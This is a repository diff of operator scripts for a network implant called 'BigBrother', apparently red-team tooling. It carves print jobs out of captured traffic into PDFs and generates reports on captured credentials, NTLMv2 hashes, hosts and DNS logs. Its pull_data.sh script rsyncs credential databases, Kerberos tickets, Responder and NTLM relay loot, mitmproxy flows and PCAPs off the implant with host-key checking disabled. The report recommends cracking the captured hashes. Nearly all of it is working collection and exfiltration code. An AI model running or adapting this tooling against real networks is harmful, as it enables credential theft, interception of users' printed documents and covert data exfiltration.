echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
|
||||
|
||||
# Check if this PCAP has any port 9100 traffic
|
||||
has_print=$(tshark -r "$pcap" -Y "tcp.port == 9100" -c 1 2>/dev/null | wc -l)
|
||||
if [[ "$has_print" -eq 0 ]]; then
|
||||
echo -e " (no print traffic)"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Extract TCP streams on port 9100
|
||||
# Get unique stream indices for print traffic
|
||||
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 9100 && tcp.len > 0" \
|
||||
-T fields -e tcp.stream 2>/dev/null | sort -un)
|
||||
|
||||
for stream_id in $streams; do
|
||||
JOB_COUNT=$((JOB_COUNT + 1))
|
||||
raw_file="$OUTPUT_DIR/raw/job_${JOB_COUNT}_stream${stream_id}.raw"
|
||||
pdf_file="$OUTPUT_DIR/pdf/job_${JOB_COUNT}_stream${stream_id}.pdf"
|
||||
meta_file="$OUTPUT_DIR/metadata/job_${JOB_COUNT}.txt"
|
||||
|
||||
# Extract the raw print data from the TCP stream
|
||||
tshark -r "$pcap" -q -z "follow,tcp,raw,${stream_id}" 2>/dev/null | \
|
||||
grep -E '^[0-9a-fA-F]+$' | xxd -r -p > "$raw_file" 2>/dev/null || true
|
||||
|
||||
if [[ ! -s "$raw_file" ]]; then
|
||||
rm -f "$raw_file"
|
||||
JOB_COUNT=$((JOB_COUNT - 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
file_size=$(stat -c %s "$raw_file" 2>/dev/null || echo 0)
|
||||
echo -e " Stream $stream_id: ${file_size} bytes"
|
||||
|
||||
# Record metadata (source/dest IPs, timestamps)
|
||||
tshark -r "$pcap" -Y "tcp.stream == ${stream_id}" -c 1 \
|
||||
-T fields -e ip.src -e ip.dst -e frame.time 2>/dev/null > "$meta_file" || true
|
||||
echo "Raw file: $raw_file" >> "$meta_file"
|
||||
echo "Size: $file_size bytes" >> "$meta_file"
|
||||
|
||||
# Detect format and convert to PDF
|
||||
file_magic=$(head -c 20 "$raw_file" | cat -v 2>/dev/null || echo "")
|
||||
|
||||
if echo "$file_magic" | grep -q "%!PS\|%PDF\|^-E"; then
|
||||
# PostScript or PDF — convert with Ghostscript
|
||||
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
|
||||
"$raw_file" 2>/dev/null && {
|
||||
PDF_COUNT=$((PDF_COUNT + 1))
|
||||
echo -e " ${GREEN}Converted to PDF: $(basename $pdf_file)${NC}"
|
||||
} || {
|
||||
echo -e " ${RED}Ghostscript conversion failed${NC}"
|
||||
}
|
||||
elif echo "$file_magic" | grep -qi "^.E.*HP\|PCL\|PJL"; then
|
||||
# PCL/PJL — try Ghostscript PCL interpreter
|
||||
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
|
||||
"$raw_file" 2>/dev/null && {
|
||||
PDF_COUNT=$((PDF_COUNT + 1))
|
||||
echo -e " ${GREEN}Converted PCL to PDF: $(basename $pdf_file)${NC}"
|
||||
} || {
|
||||
echo -e " ${YELLOW}PCL conversion failed (raw data preserved)${NC}"
|
||||
}
|
||||
else
|
||||
echo -e " ${YELLOW}Unknown format — raw data preserved${NC}"
|
||||
echo "Format: unknown (magic: $(head -c 10 "$raw_file" | xxd -p 2>/dev/null))" >> "$meta_file"
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Summary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}[+] Print job extraction complete${NC}"
|
||||
echo -e " Print jobs found: ${JOB_COUNT}"
|
||||
echo -e " Converted to PDF: ${PDF_COUNT}"
|
||||
echo ""
|
||||
|
||||
if [[ $JOB_COUNT -gt 0 ]]; then
|
||||
echo -e "${CYAN}[*] Output:${NC}"
|
||||
echo " Raw data: $OUTPUT_DIR/raw/"
|
||||
echo " PDFs: $OUTPUT_DIR/pdf/"
|
||||
echo " Metadata: $OUTPUT_DIR/metadata/"
|
||||
echo ""
|
||||
ls -lhS "$OUTPUT_DIR/pdf/" 2>/dev/null | tail -20 | sed 's/^/ /'
|
||||
fi
|
||||
Executable
+509
@@ -0,0 +1,509 @@
|
||||
#!/usr/bin/env python3
|
||||
"""BigBrother Operator Script — Generate Engagement Report.
|
||||
|
||||
Pulls data from SQLite databases synced from the implant and generates
|
||||
a structured engagement report in both Markdown and HTML formats.
|
||||
|
||||
Sections:
|
||||
1. Executive Summary
|
||||
2. Network Topology & Host Inventory
|
||||
3. Captured Credentials
|
||||
4. DNS Intelligence
|
||||
5. Traffic Analysis
|
||||
6. Timeline of Events
|
||||
7. Recommendations
|
||||
|
||||
Usage:
|
||||
python3 generate_report.py <data_dir> [--output <path>] [--title <title>]
|
||||
|
||||
Examples:
|
||||
python3 generate_report.py ./bb-pull-20240115
|
||||
python3 generate_report.py ./bb-pull-20240115 --title "ACME Corp Assessment"
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sqlite3
|
||||
import sys
|
||||
import time
|
||||
from collections import Counter, defaultdict
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Database helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def connect_db(db_path):
|
||||
"""Connect to a SQLite database if it exists."""
|
||||
if not os.path.isfile(db_path):
|
||||
return None
|
||||
try:
|
||||
conn = sqlite3.connect(db_path)
|
||||
conn.row_factory = sqlite3.Row
|
||||
return conn
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def safe_query(conn, sql, params=None):
|
||||
"""Execute a query, returning empty list on error."""
|
||||
if conn is None:
|
||||
return []
|
||||
try:
|
||||
cursor = conn.execute(sql, params or ())
|
||||
return cursor.fetchall()
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Data collection
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def collect_credentials(data_dir):
|
||||
"""Collect credentials from credential database and Responder logs."""
|
||||
creds = []
|
||||
|
||||
# From credential DB
|
||||
conn = connect_db(os.path.join(data_dir, "databases", "credentials.db"))
|
||||
if conn:
|
||||
rows = safe_query(conn, """
|
||||
SELECT timestamp, source_ip, target_ip, target_service,
|
||||
username, domain, credential_type, hashcat_mode
|
||||
FROM credentials
|
||||
ORDER BY timestamp
|
||||
""")
|
||||
for r in rows:
|
||||
creds.append({
|
||||
"timestamp": r["timestamp"],
|
||||
"source_ip": r["source_ip"] or "",
|
||||
"target_ip": r["target_ip"] or "",
|
||||
"service": r["target_service"] or "",
|
||||
"username": r["username"] or "",
|
||||
"domain": r["domain"] or "",
|
||||
"type": r["credential_type"] or "",
|
||||
"hashcat_mode": r["hashcat_mode"],
|
||||
})
|
||||
conn.close()
|
||||
|
||||
return creds
|
||||
|
||||
|
||||
def collect_hosts(data_dir):
|
||||
"""Collect host inventory from state database."""
|
||||
hosts = []
|
||||
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
|
||||
if conn:
|
||||
rows = safe_query(conn, """
|
||||
SELECT key, value FROM kv_store
|
||||
WHERE module = 'host_discovery'
|
||||
""")
|
||||
for r in rows:
|
||||
try:
|
||||
host_data = json.loads(r["value"])
|
||||
if isinstance(host_data, dict):
|
||||
hosts.append(host_data)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
conn.close()
|
||||
|
||||
# Also check topology DB
|
||||
conn = connect_db(os.path.join(data_dir, "databases", "topology.db"))
|
||||
if conn:
|
||||
rows = safe_query(conn, """
|
||||
SELECT ip, mac, hostname, os, vendor, first_seen, last_seen
|
||||
FROM hosts
|
||||
ORDER BY ip
|
||||
""")
|
||||
for r in rows:
|
||||
hosts.append({
|
||||
"ip": r["ip"],
|
||||
"mac": r["mac"] or "",
|
||||
"hostname": r["hostname"] or "",
|
||||
"os": r["os"] or "",
|
||||
"vendor": r["vendor"] or "",
|
||||
"first_seen": r["first_seen"],
|
||||
"last_seen": r["last_seen"],
|
||||
})
|
||||
conn.close()
|
||||
|
||||
return hosts
|
||||
|
||||
|
||||
def collect_dns_stats(data_dir):
|
||||
"""Collect DNS query statistics."""
|
||||
stats = {"total_queries": 0, "top_domains": [], "top_queriers": [], "doh_count": 0}
|
||||
|
||||
conn = connect_db(os.path.join(data_dir, "databases", "dns_queries.db"))
|
||||
if not conn:
|
||||
return stats
|
||||
|
||||
# Total queries
|
||||
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries")
|
||||
stats["total_queries"] = rows[0]["cnt"] if rows else 0
|
||||
|
||||
# DoH detections
|
||||
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries WHERE is_doh = 1")
|
||||
stats["doh_count"] = rows[0]["cnt"] if rows else 0
|
||||
|
||||
# Top queried domains
|
||||
rows = safe_query(conn, """
|
||||
SELECT domain, COUNT(*) as cnt
|
||||
FROM dns_queries WHERE is_doh = 0
|
||||
GROUP BY domain ORDER BY cnt DESC LIMIT 20
|
||||
""")
|
||||
stats["top_domains"] = [(r["domain"], r["cnt"]) for r in rows]
|
||||
|
||||
# Top querier IPs
|
||||
rows = safe_query(conn, """
|
||||
SELECT source_ip, COUNT(*) as cnt
|
||||
FROM dns_queries WHERE is_doh = 0
|
||||
GROUP BY source_ip ORDER BY cnt DESC LIMIT 15
|
||||
""")
|
||||
stats["top_queriers"] = [(r["source_ip"], r["cnt"]) for r in rows]
|
||||
|
||||
conn.close()
|
||||
return stats
|
||||
|
||||
|
||||
def collect_module_status(data_dir):
|
||||
"""Collect module runtime status."""
|
||||
modules = {}
|
||||
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
|
||||
if conn:
|
||||
rows = safe_query(conn, """
|
||||
SELECT module, status, started, updated
|
||||
FROM module_status
|
||||
""")
|
||||
for r in rows:
|
||||
modules[r["module"]] = {
|
||||
"status": r["status"],
|
||||
"started": r["started"],
|
||||
"updated": r["updated"],
|
||||
}
|
||||
conn.close()
|
||||
return modules
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Report generation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def generate_markdown(data_dir, title, creds, hosts, dns_stats, modules):
|
||||
"""Generate Markdown report."""
|
||||
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
|
||||
lines = []
|
||||
|
||||
def add(text=""):
|
||||
lines.append(text)
|
||||
|
||||
# Header
|
||||
add(f"# {title}")
|
||||
add(f"\n**Generated:** {now}")
|
||||
add(f"**Data Source:** `{os.path.abspath(data_dir)}`\n")
|
||||
add("---\n")
|
||||
|
||||
# Executive Summary
|
||||
add("## 1. Executive Summary\n")
|
||||
add(f"- **Hosts Discovered:** {len(hosts)}")
|
||||
add(f"- **Credentials Captured:** {len(creds)}")
|
||||
|
||||
cred_types = Counter(c["type"] for c in creds)
|
||||
for ctype, count in cred_types.most_common():
|
||||
add(f" - {ctype}: {count}")
|
||||
|
||||
unique_users = len(set(c["username"] for c in creds if c["username"]))
|
||||
add(f"- **Unique Users:** {unique_users}")
|
||||
add(f"- **DNS Queries Logged:** {dns_stats['total_queries']:,}")
|
||||
add(f"- **DoH Blind Spots:** {dns_stats['doh_count']}")
|
||||
add(f"- **Modules Active:** {sum(1 for m in modules.values() if m['status'] == 'running')}")
|
||||
add("")
|
||||
|
||||
# Host Inventory
|
||||
add("## 2. Network Topology & Host Inventory\n")
|
||||
if hosts:
|
||||
add("| IP | MAC | Hostname | OS | Vendor |")
|
||||
add("|---|---|---|---|---|")
|
||||
for h in hosts[:100]: # Cap at 100 for readability
|
||||
add(f"| {h.get('ip', '')} | {h.get('mac', '')} | {h.get('hostname', '')} "
|
||||
f"| {h.get('os', '')} | {h.get('vendor', '')} |")
|
||||
if len(hosts) > 100:
|
||||
add(f"\n*({len(hosts)} total hosts — showing first 100)*\n")
|
||||
else:
|
||||
add("*No host data available.*\n")
|
||||
|
||||
# Credentials
|
||||
add("\n## 3. Captured Credentials\n")
|
||||
if creds:
|
||||
add("| Time | User | Domain | Service | Type |")
|
||||
add("|---|---|---|---|---|")
|
||||
for c in creds[:50]:
|
||||
ts = ""
|
||||
if c.get("timestamp"):
|
||||
try:
|
||||
ts = datetime.fromtimestamp(c["timestamp"], tz=timezone.utc).strftime("%Y-%m-%d %H:%M")
|
||||
except Exception:
|
||||
pass
|
||||
add(f"| {ts} | {c['username']} | {c['domain']} | {c['service']} | {c['type']} |")
|
||||
if len(creds) > 50:
|
||||
add(f"\n*({len(creds)} total credentials — showing first 50)*\n")
|
||||
|
||||
add("\n### Credential Summary by Type\n")
|
||||
for ctype, count in cred_types.most_common():
|
||||
add(f"- **{ctype}**: {count}")
|
||||
|
||||
add("\n### Unique Users by Service\n")
|
||||
service_users = defaultdict(set)
|
||||
for c in creds:
|
||||
if c["username"]:
|
||||
service_users[c["service"]].add(c["username"])
|
||||
for svc, users in sorted(service_users.items()):
|
||||
add(f"- **{svc}**: {', '.join(sorted(users)[:10])}"
|
||||
+ (f" (+{len(users)-10} more)" if len(users) > 10 else ""))
|
||||
else:
|
||||
add("*No credentials captured.*\n")
|
||||
|
||||
# DNS Intelligence
|
||||
add("\n## 4. DNS Intelligence\n")
|
||||
add(f"- **Total Queries:** {dns_stats['total_queries']:,}")
|
||||
add(f"- **DoH Detections (blind spots):** {dns_stats['doh_count']}\n")
|
||||
|
||||
if dns_stats["top_domains"]:
|
||||
add("### Top Queried Domains\n")
|
||||
add("| Domain | Queries |")
|
||||
add("|---|---|")
|
||||
for domain, count in dns_stats["top_domains"]:
|
||||
add(f"| {domain} | {count:,} |")
|
||||
|
||||
if dns_stats["top_queriers"]:
|
||||
add("\n### Top DNS Clients\n")
|
||||
add("| IP | Queries |")
|
||||
add("|---|---|")
|
||||
for ip, count in dns_stats["top_queriers"]:
|
||||
add(f"| {ip} | {count:,} |")
|
||||
|
||||
# Module Status
|
||||
add("\n## 5. Module Status\n")
|
||||
if modules:
|
||||
add("| Module | Status | Started |")
|
||||
add("|---|---|---|")
|
||||
for name, info in sorted(modules.items()):
|
||||
started = ""
|
||||
if info.get("started"):
|
||||
try:
|
||||
started = datetime.fromtimestamp(
|
||||
info["started"], tz=timezone.utc
|
||||
).strftime("%Y-%m-%d %H:%M")
|
||||
except Exception:
|
||||
pass
|
||||
add(f"| {name} | {info['status']} | {started} |")
|
||||
else:
|
||||
add("*No module status data available.*\n")
|
||||
|
||||
# Recommendations
|
||||
add("\n## 6. Recommendations\n")
|
||||
add("1. **Credential Analysis**: Run `crack_hashes.sh` against captured NTLMv2 hashes")
|
||||
add("2. **File Extraction**: Run `extract_files.sh` on PCAPs for document recovery")
|
||||
add("3. **Print Jobs**: Check for print traffic with `extract_print_jobs.sh`")
|
||||
add("4. **Email Analysis**: Run `extract_emails.sh` for SMTP traffic recovery")
|
||||
add("5. **Offline Analysis**: Run Zeek against PCAPs for deep protocol analysis")
|
||||
add("")
|
||||
|
||||
add("---\n")
|
||||
add(f"*Report generated by BigBrother operator tooling — {now}*")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def markdown_to_html(markdown_text, title):
|
||||
"""Convert Markdown report to standalone HTML."""
|
||||
# Simple Markdown-to-HTML conversion (no external deps)
|
||||
html_lines = []
|
||||
in_table = False
|
||||
in_list = False
|
||||
|
||||
html_lines.append(f"""<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>{title}</title>
|
||||
<style>
|
||||
body{{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;max-width:1000px;margin:0 auto;padding:40px 20px;color:#1d1d1f;line-height:1.6;background:#fafafa}}
|
||||
h1{{color:#1a1a2e;border-bottom:3px solid #0066cc;padding-bottom:12px}}
|
||||
h2{{color:#16213e;margin-top:32px;border-bottom:1px solid #ddd;padding-bottom:8px}}
|
||||
h3{{color:#333;margin-top:20px}}
|
||||
table{{border-collapse:collapse;width:100%;margin:12px 0;font-size:14px}}
|
||||
th,td{{border:1px solid #ddd;padding:8px 12px;text-align:left}}
|
||||
th{{background:#f0f2f5;font-weight:600}}
|
||||
tr:nth-child(even){{background:#f9f9f9}}
|
||||
tr:hover{{background:#f0f2f5}}
|
||||
code{{background:#f0f2f5;padding:2px 6px;border-radius:4px;font-size:13px}}
|
||||
hr{{border:none;border-top:1px solid #ddd;margin:24px 0}}
|
||||
ul{{margin:8px 0}}
|
||||
li{{margin:4px 0}}
|
||||
strong{{color:#1a1a2e}}
|
||||
em{{color:#666}}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
""")
|
||||
|
||||
for line in markdown_text.split("\n"):
|
||||
stripped = line.strip()
|
||||
|
||||
# Headings
|
||||
if stripped.startswith("# "):
|
||||
if in_table:
|
||||
html_lines.append("</table>")
|
||||
in_table = False
|
||||
level = len(stripped) - len(stripped.lstrip("#"))
|
||||
text = stripped.lstrip("# ").strip()
|
||||
html_lines.append(f"<h{level}>{_inline_format(text)}</h{level}>")
|
||||
continue
|
||||
|
||||
# Horizontal rule
|
||||
if stripped == "---":
|
||||
if in_table:
|
||||
html_lines.append("</table>")
|
||||
in_table = False
|
||||
html_lines.append("<hr>")
|
||||
continue
|
||||
|
||||
# Table
|
||||
if "|" in stripped and stripped.startswith("|"):
|
||||
cells = [c.strip() for c in stripped.split("|")[1:-1]]
|
||||
if all(c.replace("-", "").replace(":", "") == "" for c in cells):
|
||||
continue # Skip separator row
|
||||
if not in_table:
|
||||
html_lines.append("<table>")
|
||||
in_table = True
|
||||
tag = "th"
|
||||
else:
|
||||
tag = "td"
|
||||
row = "".join(f"<{tag}>{_inline_format(c)}</{tag}>" for c in cells)
|
||||
html_lines.append(f"<tr>{row}</tr>")
|
||||
continue
|
||||
|
||||
if in_table and not stripped.startswith("|"):
|
||||
html_lines.append("</table>")
|
||||
in_table = False
|
||||
|
||||
# List items
|
||||
if stripped.startswith("- ") or stripped.startswith("* "):
|
||||
if not in_list:
|
||||
html_lines.append("<ul>")
|
||||
in_list = True
|
||||
text = stripped[2:].strip()
|
||||
html_lines.append(f"<li>{_inline_format(text)}</li>")
|
||||
continue
|
||||
elif stripped.startswith(tuple(f"{i}. " for i in range(1, 20))):
|
||||
if not in_list:
|
||||
html_lines.append("<ol>")
|
||||
in_list = True
|
||||
text = stripped.split(". ", 1)[1] if ". " in stripped else stripped
|
||||
html_lines.append(f"<li>{_inline_format(text)}</li>")
|
||||
continue
|
||||
|
||||
if in_list and not stripped.startswith(("-", "*")) and not stripped[:2].rstrip(".").isdigit():
|
||||
html_lines.append("</ul>" if in_list else "</ol>")
|
||||
in_list = False
|
||||
|
||||
# Empty line
|
||||
if not stripped:
|
||||
continue
|
||||
|
||||
# Paragraph
|
||||
html_lines.append(f"<p>{_inline_format(stripped)}</p>")
|
||||
|
||||
if in_table:
|
||||
html_lines.append("</table>")
|
||||
if in_list:
|
||||
html_lines.append("</ul>")
|
||||
|
||||
html_lines.append("</body></html>")
|
||||
return "\n".join(html_lines)
|
||||
|
||||
|
||||
def _inline_format(text):
|
||||
"""Apply inline Markdown formatting (bold, code, italic)."""
|
||||
import re
|
||||
text = re.sub(r"\*\*(.+?)\*\*", r"<strong>\1</strong>", text)
|
||||
text = re.sub(r"`(.+?)`", r"<code>\1</code>", text)
|
||||
text = re.sub(r"\*(.+?)\*", r"<em>\1</em>", text)
|
||||
return text
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Main
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Generate BigBrother engagement report from synced data."
|
||||
)
|
||||
parser.add_argument("data_dir", help="Path to pulled data directory")
|
||||
parser.add_argument("--output", "-o", help="Output directory (default: <data_dir>/report)")
|
||||
parser.add_argument("--title", "-t", default="BigBrother Engagement Report",
|
||||
help="Report title")
|
||||
args = parser.parse_args()
|
||||
|
||||
data_dir = args.data_dir
|
||||
output_dir = args.output or os.path.join(data_dir, "report")
|
||||
|
||||
if not os.path.isdir(data_dir):
|
||||
print(f"[-] Data directory not found: {data_dir}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
|
||||
print(f"[*] Generating report: {args.title}")
|
||||
print(f" Data: {os.path.abspath(data_dir)}")
|
||||
print(f" Output: {os.path.abspath(output_dir)}")
|
||||
print()
|
||||
|
||||
# Collect data
|
||||
print("[*] Collecting credentials...")
|
||||
creds = collect_credentials(data_dir)
|
||||
print(f" Found {len(creds)} credentials")
|
||||
|
||||
print("[*] Collecting host inventory...")
|
||||
hosts = collect_hosts(data_dir)
|
||||
print(f" Found {len(hosts)} hosts")
|
||||
|
||||
print("[*] Collecting DNS statistics...")
|
||||
dns_stats = collect_dns_stats(data_dir)
|
||||
print(f" {dns_stats['total_queries']:,} queries logged")
|
||||
|
||||
print("[*] Collecting module status...")
|
||||
modules = collect_module_status(data_dir)
|
||||
print(f" {len(modules)} modules tracked")
|
||||
print()
|
||||
|
||||
# Generate Markdown
|
||||
print("[*] Generating Markdown report...")
|
||||
md_report = generate_markdown(data_dir, args.title, creds, hosts, dns_stats, modules)
|
||||
md_path = os.path.join(output_dir, "report.md")
|
||||
with open(md_path, "w") as f:
|
||||
f.write(md_report)
|
||||
print(f" Saved: {md_path}")
|
||||
|
||||
# Generate HTML
|
||||
print("[*] Generating HTML report...")
|
||||
html_report = markdown_to_html(md_report, args.title)
|
||||
html_path = os.path.join(output_dir, "report.html")
|
||||
with open(html_path, "w") as f:
|
||||
f.write(html_report)
|
||||
print(f" Saved: {html_path}")
|
||||
|
||||
print()
|
||||
print(f"[+] Report generation complete")
|
||||
print(f" Markdown: {md_path}")
|
||||
print(f" HTML: {html_path}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+138
@@ -0,0 +1,138 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother Operator Script — Pull Data from Implant
|
||||
#
|
||||
# Syncs structured data from the implant over WireGuard or Tailscale
|
||||
# tunnel. Pulls credential DBs, DNS logs, host inventory, PCAPs, and
|
||||
# all collected intelligence data.
|
||||
#
|
||||
# Usage: ./pull_data.sh <implant_host> [output_dir]
|
||||
#
|
||||
# Examples:
|
||||
# ./pull_data.sh bb-implant-01 # Tailscale hostname
|
||||
# ./pull_data.sh 100.64.0.5 /opt/engagements/acme
|
||||
# ./pull_data.sh 10.8.0.2 ~/cases/case-001 # WireGuard IP
|
||||
#
|
||||
# Requires: rsync, ssh, Tailscale or WireGuard connectivity
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Arguments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
IMPLANT="${1:-}"
|
||||
OUTPUT_DIR="${2:-$(pwd)/bb-pull-$(date +%Y%m%d-%H%M%S)}"
|
||||
SSH_USER="${BB_SSH_USER:-root}"
|
||||
SSH_KEY="${BB_SSH_KEY:-}"
|
||||
BB_DATA_DIR="${BB_DATA_DIR:-/root/.bigbrother}"
|
||||
|
||||
if [[ -z "$IMPLANT" ]]; then
|
||||
echo -e "${RED}Usage: $0 <implant_host> [output_dir]${NC}"
|
||||
echo ""
|
||||
echo "Environment variables:"
|
||||
echo " BB_SSH_USER SSH user (default: root)"
|
||||
echo " BB_SSH_KEY SSH private key path"
|
||||
echo " BB_DATA_DIR BigBrother data dir on implant (default: /root/.bigbrother)"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
SSH_OPTS="-o StrictHostKeyChecking=no -o ConnectTimeout=10"
|
||||
if [[ -n "$SSH_KEY" ]]; then
|
||||
SSH_OPTS="$SSH_OPTS -i $SSH_KEY"
|
||||
fi
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Pre-flight
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo -e "${CYAN}[*] BigBrother Data Pull${NC}"
|
||||
echo -e " Implant: ${IMPLANT}"
|
||||
echo -e " Output: ${OUTPUT_DIR}"
|
||||
echo -e " SSH User: ${SSH_USER}"
|
||||
echo ""
|
||||
|
||||
# Test connectivity
|
||||
echo -e "${YELLOW}[*] Testing connectivity...${NC}"
|
||||
if ! ssh $SSH_OPTS "$SSH_USER@$IMPLANT" "echo ok" &>/dev/null; then
|
||||
echo -e "${RED}[-] Cannot reach $IMPLANT via SSH${NC}"
|
||||
exit 1
|
||||
fi
|
||||
echo -e "${GREEN}[+] Connected to $IMPLANT${NC}"
|
||||
|
||||
# Create output directory structure
|
||||
mkdir -p "$OUTPUT_DIR"/{databases,pcaps,dns_logs,credentials,topology,intel,responder,config,loot}
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Pull data
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
RSYNC_OPTS="-avz --progress --compress-level=9"
|
||||
if [[ -n "$SSH_KEY" ]]; then
|
||||
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -i $SSH_KEY -o StrictHostKeyChecking=no'"
|
||||
else
|
||||
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -o StrictHostKeyChecking=no'"
|
||||
fi
|
||||
|
||||
pull_file() {
|
||||
local remote_path="$1"
|
||||
local local_dir="$2"
|
||||
local description="$3"
|
||||
|
||||
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
|
||||
eval rsync $RSYNC_OPTS "$SSH_USER@$IMPLANT:$remote_path" "$local_dir/" 2>/dev/null || \
|
||||
echo -e " ${RED}(not found or empty)${NC}"
|
||||
}
|
||||
|
||||
pull_dir() {
|
||||
local remote_path="$1"
|
||||
local local_dir="$2"
|
||||
local description="$3"
|
||||
|
||||
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
|
||||
eval rsync $RSYNC_OPTS -r "$SSH_USER@$IMPLANT:$remote_path/" "$local_dir/" 2>/dev/null || \
|
||||
echo -e " ${RED}(not found or empty)${NC}"
|
||||
}
|
||||
|
||||
# SQLite databases
|
||||
pull_file "$BB_DATA_DIR/state.db" "$OUTPUT_DIR/databases" "state database"
|
||||
pull_file "$BB_DATA_DIR/dns_queries.db" "$OUTPUT_DIR/databases" "DNS query database"
|
||||
pull_file "$BB_DATA_DIR/credentials.db" "$OUTPUT_DIR/databases" "credential database"
|
||||
pull_file "$BB_DATA_DIR/topology.db" "$OUTPUT_DIR/databases" "topology database"
|
||||
pull_file "$BB_DATA_DIR/intel.db" "$OUTPUT_DIR/databases" "intelligence database"
|
||||
pull_file "$BB_DATA_DIR/kerberos.db" "$OUTPUT_DIR/databases" "Kerberos ticket database"
|
||||
|
||||
# PCAPs
|
||||
pull_dir "$BB_DATA_DIR/pcaps" "$OUTPUT_DIR/pcaps" "PCAP files"
|
||||
|
||||
# Credential data
|
||||
pull_dir "/opt/tools/Responder/logs" "$OUTPUT_DIR/responder" "Responder logs"
|
||||
pull_dir "$BB_DATA_DIR/ntlmrelay_loot" "$OUTPUT_DIR/loot" "NTLM relay loot"
|
||||
pull_file "$BB_DATA_DIR/mitmproxy_flows" "$OUTPUT_DIR/loot/" "mitmproxy flows"
|
||||
|
||||
# Intelligence data
|
||||
pull_dir "$BB_DATA_DIR/topology" "$OUTPUT_DIR/topology" "topology maps"
|
||||
pull_dir "$BB_DATA_DIR/intel" "$OUTPUT_DIR/intel" "intelligence data"
|
||||
|
||||
# Config (for reference)
|
||||
pull_dir "$BB_DATA_DIR/config" "$OUTPUT_DIR/config" "implant configuration"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Summary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}[+] Data pull complete${NC}"
|
||||
echo -e " Location: ${OUTPUT_DIR}"
|
||||
echo ""
|
||||
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
|
||||
echo ""
|
||||
echo -e "${CYAN}[*] Next steps:${NC}"
|
||||
echo " 1. Run extract_files.sh on PCAPs for file carving"
|
||||
echo " 2. Run crack_hashes.sh to crack captured hashes"
|
||||
echo " 3. Run generate_report.py for engagement report"
|
||||
Reference in New Issue
Block a user